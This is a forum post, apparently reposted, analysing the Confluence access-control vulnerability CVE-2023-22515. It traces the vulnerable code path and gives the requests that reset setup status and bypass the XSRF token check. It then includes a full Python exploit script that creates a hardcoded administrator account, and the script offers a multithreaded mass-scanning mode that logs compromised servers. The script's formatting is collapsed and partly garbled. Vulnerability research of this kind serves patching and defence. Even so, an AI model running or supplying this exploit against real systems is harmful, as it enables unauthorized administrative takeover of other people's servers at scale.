圆咕噜咕噜 发表于 2024-7-17 15:27:52

【漏洞分析】Confluence 数据中心和服务器中的严峻漏洞 CVE-2023-22515

一、简述

Confluence 的开发者 Atlassian 已公告此漏洞,并将其归类为破坏的访问控制题目。他们强调必要立即接纳行动,并建议用户升级到最新版本以掩护他们的体系。Atlassian 将该漏洞的严峻级别评定为 Critical CVSS 10。
受影响的版本:
8.0.0 - 8.0.4
8.1.0 - 8.1.4
8.2.0 - 8.2.3
8.3.0 - 8.3.2
8.4.0 - 8.4.2
8.5.0 - 8.5.1
8.0.0之前的版本不受此漏洞影响。
二、使用

(一)第一阶段 设置“设置过程尚未完成”

CVE-2023-22515是未经身份验证的访问控制漏洞,长途实行攻击。纵然攻击者可以使用 CVE-2023-22515 建立未经授权的管理员帐户,并获得对 Confluence 实例的访问权限。攻击者还可以利用 Confluence 服务器的设置来表明设置过程尚未完成,即伪装。
攻击者可以使用/setup/setupadministrator.action端点来设置新的管理员用户。该漏洞是通过针对未经身份验证的 /server-info.action 端点的进行使用的。
初始哀求将发送到 server-info,并使用bootstrapStatusProvider.applicationConfig.setupComplete=false
作为参数。当我们在没有身份验证的情况下访问 server-info.action 端点时,会返回一个带有“成功”状态消息的简单响应。
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

“成功”响应确认服务器正在运行,并且不会直接通过此端点泄漏具体信息。
https://img-blog.csdnimg.cn/direct/66cf6f5c6c2e498987790e35fdc12927.png
分析com.atlassian.confluence.core.actions包中的**ServerInfoAction代码:
package com.atlassian.confluence.core.actions;

import com.atlassian.annotations.security.XsrfProtectionExcluded;

import com.atlassian.confluence.core.ConfluenceActionSupport;

import com.atlassian.confluence.security.access.annotations.PublicAccess;

import com.atlassian.xwork.HttpMethod;

import com.atlassian.xwork.PermittedMethods;

public class ServerInfoAction extends ConfluenceActionSupport {

@PermittedMethods({HttpMethod.ANY_METHOD})

@XsrfProtectionExcluded

@PublicAccess

public String execute() throws Exception {

    return "success";

}

}
ServerInfoAction类扩展了ConfluenceActionSupport类,该类可能处理惩罚特定功能。在这个类中,有一个名为*execute()*的方法。它被设计为可以使用任何 HTTP 方法调用,不受 XSRF 掩护,并且无需身份验证即可供公众访问。当调用execute方法时,一旦操作成功执行,它就会返回字符串“success”。
接下来,我们将检查位于com.atlassian.confluence.core的扩展类**ConfluenceActionSupport:
package com.atlassian.confluence.core;

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {

public BootstrapStatusProvider getBootstrapStatusProvider() {

    if (this.bootstrapStatusProvider == null)

      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();

    return this.bootstrapStatusProvider;

}
在 Java 类ConfluenceActionSupport中,我们看到一个名为getBootstrapStatusProvider的方法返回一个对象bootstrapStatusProvider。如果bootstrapStatusProvider为 null,它将通过调用BootstrapStatusProviderImpl.getInstance()进行初始化,此中getInstance() 方法用于获取引导状态提供程序的实例。一旦对象bootstrapStatusProvider创建或已经存在,该方法就会返回它。
接下来,com.atlassian.confluence.impl.setup处的BootstrapStatusProviderImpl类包含一个名为getApplicationConfig的公共方法,该方法返回 ApplicationConfiguration 对象。
package com.atlassian.confluence.impl.setup;

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {

private static final Supplier instance = (Supplier)Suppliers.memoize(BootstrapStatusProviderImpl::initialiseBootstrapStatusProvider);

public ApplicationConfiguration getApplicationConfig() {

    return this.delegate.getApplicationConfig();

}
}
在getApplicationConfig方法内部,该方法调用this.delegate.getApplicationConfig(); 使用委托,此中*getApplicationConfig()*委托在另一个称为委托的对象上获取应用程序配置的任务。
ApplicationConfiguration是一个接口,指定任何类都可以实现的多个方法。无论哪个类实现该接口,都将定义该方法的行为。
public interface ApplicationConfiguration {

String getApplicationHome();

void setApplicationHome(String paramString) throws ConfigurationException;

boolean isApplicationHomeValid();

void setProperty(Object paramObject1, Object paramObject2);

void setBuildNumber(String paramString);

boolean isSetupComplete();

void setSetupComplete(boolean paramBoolean);//

void setConfigurationPersister(ConfigurationPersister paramConfigurationPersister);

void setConfigurationFileName(String paramString);

}
有一个名为setSetupComplete的方法,必要一个布尔类型的参数。
ApplicationConfig类实现了ApplicationConfiguration接口,我们确实找到了一个名为setSetupComplete的同步方法:
package com.atlassian.config;

public class ApplicationConfig implements ApplicationConfiguration {

public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
}

}
setSetupComplete方法接受一个名为**setupComplete的布尔参数,用于设置设置完成状态。
该类的setupComplete变量被分配一个作为参数提供的值。该参数的目标是定义或更新Confluence应用程序的设置完成状态。当我们将 true 作为setupComplete参数传递时,设置过程就完成了。当我们传递false时,表明设置过程不完备。
通过统一来自ConfluenceActionSupport、BootstrapStatusProviderImpl和ApplicationConfig等类的组件,我们可以链接方法调用,包括我们迄今为止已经探索过的getBootstrapStatusProvider()、getApplicationConfig()和setSetupComplete() 。


[*]***getBootstrapStatusProvider():***调用该方法获取BootstrapStatusProvider的实例。
[*]***getApplicationConfig():****根据getBootstrapStatusProvider()*的结果调用此方法。它检索 ApplicationConfig 对象。该对象管理应用程序配置设置,包括 setupComplete 状态。
[*]setSetupComplete( **)*:**最后,在 ApplicationConfig 对象上调用setSetupComplete() 。*此方法将 setupComplete 状态设置为 true 或 false,指示应用程序的设置过程。
通过链接方法调用,我们可以使用 getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)有用地将setupComplete值设置为 false;
Confluence 使用 XWork2 框架,该框架管理操作、拦截器和参数绑定等。在XWork2中,HTTP参数用于设置action类中的属性,框架根据定名约定主动将这些参数映射到setter方法。
因此,我们可以形成一个 HTTP 参数来启用一系列方法调用。
bootstrapStatusProvider.applicationConfig.setupComplete=false
对 server-info.action 端点使用有用负载会将setupComplete值调整为false,表示设置过程仍未完成。
(二)第二阶段,访问setupadministrator端点

更新setupComplete属性后,预期行为将允许我们访问 setup/setupadministrator.action 端点并创建管理员帐户。
但是,当我们向此端点发送 POST 哀求时,我们会收到 403 Forbidden 响应状态代码和包含以下消息的响应正文:“无法处理惩罚您的哀求,由于哀求中不存在所需的安全令牌。” 您可能必要重新提交表单或重新加载页面。”
https://img-blog.csdnimg.cn/direct/374784b505f94523873540924e0df531.png
https://img-blog.csdnimg.cn/direct/32e753d52c2046f697133710bd199abf.png
根据 Atlassian 在Confluence应用指南中启用 XSRF 掩护:
*长途访问 Confluence 的脚本可能无法获取或返回安全令牌或维护与服务器的 HTTP 会话。要选择退出令牌检查,请在哀求中包含以下 HTTP 标头:*X-Atlassian-Token: no-check
关于上述指南,包括HTTP 哀求标头中的X-Atlassian-Token: no-check,我们触发相同的哀求:
https://img-blog.csdnimg.cn/direct/be8e8a567c084dc796dbfad4e5547b01.png
成功了!现在,我们已经获得了对端点的不受限定的访问权限,并收到“**配置体系管理员帐户 - Confluence”**页面的 200 状态。剩下的就是包含 POST 哀求正文以及管理员帐户的必要参数。
https://img-blog.csdnimg.cn/direct/430a30a3fd874a00a3bd27a02b798cff.png
(三)、使用新创建管理员账户登录

在最后一步中,我们继承向 /setup/finishsetup.action 端点发出另一个 POST 哀求,从而有用退出设置向导。
以管理员身份登录***Coldfx***
https://img-blog.csdnimg.cn/direct/ddfa5cd05f9b4807b7bcd8e642f8721b.png
三、POC

import jsonimport fireimport requestsfrom rich import printfrom alive_progress import alive_barfrom concurrent.futures import ThreadPoolExecutorHEADERS = {    "X-Atlassian-Token": "no-check",    "User-Agent": "https://github.com/Chocapikk/CVE-2023-22515"}requests.packages.urllib3.disable_warnings()class Confluence:    def __init__(self, base_url, verbose=False, output_file=None):      self.base_url = base_url      self.verbose = verbose      self.username = "pleasepatch"      self.password = "Password2"      self.output_file = output_file    def send_request(self, method, url, auth=None, data=None):      try:            response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)            return response.status_code, response.text      except requests.exceptions.RequestException as e:            if self.verbose:                print(f"[ERROR] Request error for {url}: {str(e)}")            return None, None    def check_authentication(self):      """Check authentication and retrieve user details."""      auth = (self.username, self.password)      url = f"{self.base_url}/rest/api/user?username={self.username}"      status, response = self.send_request("GET", url, auth=auth)                if status == 200:            try:                user_info = json.loads(response.strip())                formatted_user_info = json.dumps(user_info, indent=2)                if self.verbose:                  print(f"
[*] Authenticated as \"{self.username}\" user\n")                  print(f"[INFO]User Information: {formatted_user_info}")            except json.JSONDecodeError:                return False                        return True      else:            if self.verbose:                print(f"[-] Authentication failed on REST API for {self.username}")                        return False    def exploit(self):      success_message = None      if not self.trigger_vulnerability():            error_message = f"[-] Failed to trigger vulnerability for {self.base_url}"      elif not self.create_admin_account():            error_message = f"[-] Failed to create a new administrator for {self.base_url}"      elif self.check_authentication():            success_message = f"
[*] Successfully exploited {self.base_url} and logged in as admin!"      else:            error_message = f"[-] Failed to authenticate with created admin account at {self.base_url}"      if success_message:            if not self.verbose:                print(success_message)            return success_message      else:            return error_message    def trigger_vulnerability(self):      status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
")      return status == 200    def create_admin_account(self):      data = {            "username": self.username,            "fullName": self.username,            "email": f"{self.username}@localhost",            "password": self.password,            "confirm": self.password,            "setup-next-button": "Next"      }      status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)      if status == 200:            if self.verbose:                print(f"[INFO] Username: {self.username}")                print(f"[INFO] Password: {self.password}")            if "Setup Successful" in response:                if self.verbose:                  print("
[*] Created new administrator successfully")                self.save_to_output_file()            elif "A user with this username already exists" in response:                if self.verbose:                  print("[!] Administrator with this username already exists")                self.save_to_output_file()            else:                if self.verbose:                  print(f"[-] Failed to create a new administrator for {self.base_url}")      return status == 200    def save_to_output_file(self):      if self.output_file:            with open(self.output_file, 'a') as file:                file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")class Exploit:    """    Exploit script for CVE-2023-22515 - Confluence Vulnerability.      This script attempts to exploit the CVE-2023-22515 vulnerability in Confluence    to gain unauthorized access.    """    def __init__(self):      self.verbose = False      def normal(self, target, output_file=None):      """      Exploits the Confluence vulnerability using a single target URL.                Args:            target (str): The target URL to exploit.            output_file (str, optional): File to save vulnerable servers.      """      self.verbose = True      exploit_target(target, verbose=self.verbose, output_file=output_file)      def mass(self, filename, output_file=None):      """      Exploits the Confluence vulnerability using a list of target URLs from a file.                Args:            filename (str): The name of the file containing a list of target URLs.            output_file (str, optional): File to save vulnerable servers.      """      with open(filename, 'r') as file:            targets =       scan_targets(targets, verbose=self.verbose, output_file=output_file)      def scan_targets(targets, verbose=False, output_file=None):    with alive_bar(len(targets), enrich_print=False) as bar:      with ThreadPoolExecutor(max_workers=200) as executor:            list(executor.map(lambda url: exploit_target(url, bar, verbose, output_file), targets))def exploit_target(url, bar=None, verbose=False, output_file=None):    Confluence(url, verbose=verbose, output_file=output_file).exploit()    if bar:      bar()            if __name__ == "__main__":    fire.Fire(Exploit)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 【漏洞分析】Confluence 数据中心和服务器中的严峻漏洞 CVE-2023-22515